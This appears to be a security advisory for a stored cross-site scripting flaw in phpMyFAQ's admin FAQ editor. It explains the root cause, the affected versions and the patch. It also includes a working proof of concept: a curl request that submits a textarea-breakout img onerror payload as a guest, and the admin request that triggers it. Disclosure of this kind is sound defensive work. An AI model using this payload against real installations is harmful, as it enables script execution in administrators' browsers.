Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
Miggo AIRoot Cause AnalysisThe vulnerability, CVE-2026-56736, is a stored Cross-Site Scripting (XSS) in phpMyFAQ affecting the admin FAQ editor. The root cause lies in insufficient sanitization during both the submission and rendering phases of FAQ content.
During submission, the phpMyFAQ\Controller\Frontend\Api\FaqController::create function processes user input. While it uses Filter::filterVar with FILTER_SANITIZE_SPECIAL_CHARS, which internally calls strip_tags(), this only removes actual HTML tags, not HTML entities (e.g., <script>). Subsequently, if main.enableWysiwygEditorFrontend is true, html_entity_decode() is called, which converts these surviving HTML entities back into executable HTML. This malicious content is then stored in the database.
During rendering in the admin panel, the phpMyFAQ\Controller\Administration\FaqController::edit method (or the method handling the admin FAQ editor view) retrieves this raw, unsanitized content from the database using phpMyFAQ\Faq::getFaq. It then passes this content directly to the faq.editor.twig template. The template, in its vulnerable state, uses the | raw filter, which explicitly tells Twig not to escape the output, leading to the execution of the stored XSS payload in the administrator's browser. The patch addresses this by adding cleanUpContent after html_entity_decode during submission and by removing the | raw filter from the Twig template, ensuring proper sanitization and escaping.
phpMyFAQ\Controller\Frontend\Api\FaqController::createphpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php
phpMyFAQ\Controller\Administration\FaqController::editphpmyfaq/src/phpMyFAQ/Controller/Administration/FaqController.php
phpMyFAQ\Faq::getFaqphpmyfaq/src/phpMyFAQ/Faq.php
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| thorsten/phpmyfaq | composer | < 4.2.0-alpha | 4.2.0-alpha |
| phpmyfaq/phpmyfaq | composer | < 4.2.0-alpha | 4.2.0-alpha |
The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:
$this->faq->getFaq($faqId, null, true);
$faqData = $this->faq->faqRecord; // Raw content from DB
Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.
Prerequisites:
main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions)records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs)Step 1: Inject XSS payload as unauthenticated guest
curl -X POST https://TARGET/api/faq/create \
-H 'Content-Type: application/json' \
-d '{
"name": "Legitimate User",
"email": "user@example.com",
"question": "How to configure SMTP settings?",
"answer": "</textarea><img src=x onerror=alert(document.domain)><textarea>",
"lang": "en",
"keywords": "smtp email",
"rubrik": ["1"],
"captcha": "<valid-captcha-or-empty-if-disabled>"
}'
Response: {"success":"Thank you for your suggestion!"}
Processing trace:
</textarea><img src=x onerror=alert(document.domain)><textarea>filterSanitizeString() → strip_tags() finds no actual <tag> syntax → string passes through unchangedhtml_entity_decode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea>Step 2: Admin triggers XSS by reviewing the submitted FAQ
When an administrator navigates to edit the submitted FAQ entry:
GET /admin/faq/edit/{faqId}/{lang}
The admin template renders:
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>
The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.
Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).
records.allowNewFaqsForGuests = true)